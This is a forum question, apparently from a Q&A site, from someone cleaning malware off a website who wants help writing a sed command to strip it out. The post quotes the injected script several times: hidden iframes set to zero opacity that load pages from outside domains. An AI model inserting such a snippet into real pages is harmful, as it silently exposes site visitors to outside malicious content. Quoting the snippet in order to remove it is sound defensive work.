title: Cleaning up iframe malware
body: <p>I'm helping someone clean up a malware infection on a site and I'm having a difficult time correctly matching some strings in sed so I can create a script to mass search and replace / remove it.</p>
  
  <p>The strings are:</p>
  
  <pre class="lang-js prettyprint-override"><code>&lt;script&gt;document.write('&lt;style&gt;.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}&lt;/style&gt;&lt;div class="vb_style_forum"&gt;&lt;iframe height="150" width="200" src="http://www.iws-leipzig.de/contacts.php"&gt;&lt;/iframe&gt;&lt;/div&gt;');&lt;/script&gt;
  
  &lt;script&gt;document.write('&lt;style&gt;.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}&lt;/style&gt;&lt;div class="vb_style_forum"&gt;&lt;iframe height="150" width="200" src="http://vidintex.com/includes/class.pop.php"&gt;&lt;/iframe&gt;&lt;/div&gt;');&lt;/script&gt;
  
  &lt;script&gt;document.write('&lt;style&gt;.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}&lt;/style&gt;&lt;div class="vb_style_forum"&gt;&lt;iframe height="150" width="200" src="http://www.iws-leipzig.de/contacts.php"&gt;&lt;/iframe&gt;&lt;/div&gt;');&lt;/script&gt;
  </code></pre>
  
  <p>I can't seem to figure out how to escape the various characters in those lines...</p>
  
  <p>If I try to just say delete the entire line if it matches <code>http://vidintex.com/includes/class.pop.php</code> it also deletes the closing html <code>&lt;/body&gt;</code> in the <code>.html</code> files as well.</p>
  
  <p>So I need to be able to match this entire line in sed:</p>
  
  <pre class="lang-js prettyprint-override"><code>    &lt;script&gt;document.write('&lt;style&gt;.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}&lt;/style&gt;&lt;div class="vb_style_forum"&gt;&lt;iframe height="150" width="200" src="http://www.iws-leipzig.de/contacts.php"&gt;&lt;/iframe&gt;&lt;/div&gt;');&lt;/script&gt;
  </code></pre>
  
  <p>Any help would be greatly appreciated!</p>